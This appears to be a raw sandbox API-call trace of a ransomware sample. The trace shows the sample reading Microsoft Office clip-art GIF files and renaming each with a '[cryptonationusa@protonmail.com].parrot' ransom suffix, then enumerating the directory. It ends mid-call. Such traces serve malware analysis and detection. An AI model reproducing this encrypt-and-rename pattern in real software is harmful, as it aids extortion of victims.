[0167.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.188] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.188] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.190] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.190] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8e3, lpOverlapped=0x0) returned 1 [0167.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.190] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.197] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.197] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.198] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.199] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15e, lpOverlapped=0x0) returned 1 [0167.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.199] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.216] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.216] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.218] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.218] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3de, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3de, lpOverlapped=0x0) returned 1 [0167.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.219] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.225] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.225] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.226] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.227] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x770, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x770, lpOverlapped=0x0) returned 1 [0167.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.227] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.231] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.232] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.232] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.233] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11c, lpOverlapped=0x0) returned 1 [0167.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.233] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.238] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.238] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.239] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.240] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2da, lpOverlapped=0x0) returned 1 [0167.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.240] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.244] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.244] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.245] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.245] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34d, lpOverlapped=0x0) returned 1 [0167.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.246] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.249] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.249] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.250] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.250] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24e, lpOverlapped=0x0) returned 1 [0167.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.250] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.254] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.254] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.256] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.256] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x73d, lpOverlapped=0x0) returned 1 [0167.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.256] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.261] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.261] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.262] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.262] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11a, lpOverlapped=0x0) returned 1 [0167.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.262] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.266] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.266] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.267] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.267] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11a, lpOverlapped=0x0) returned 1 [0167.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.268] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.272] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.272] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.273] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.273] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d3, lpOverlapped=0x0) returned 1 [0167.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.273] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.277] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.277] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.278] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.278] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15e, lpOverlapped=0x0) returned 1 [0167.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.278] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.282] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0167.282] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xefbc4cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xefbc4cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.284] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef55f1a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BD1021~1.PAR")) returned 1 [0167.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68dff0 [0167.285] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.285] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.286] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.286] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78450, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78450, lpOverlapped=0x0) returned 1 [0167.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 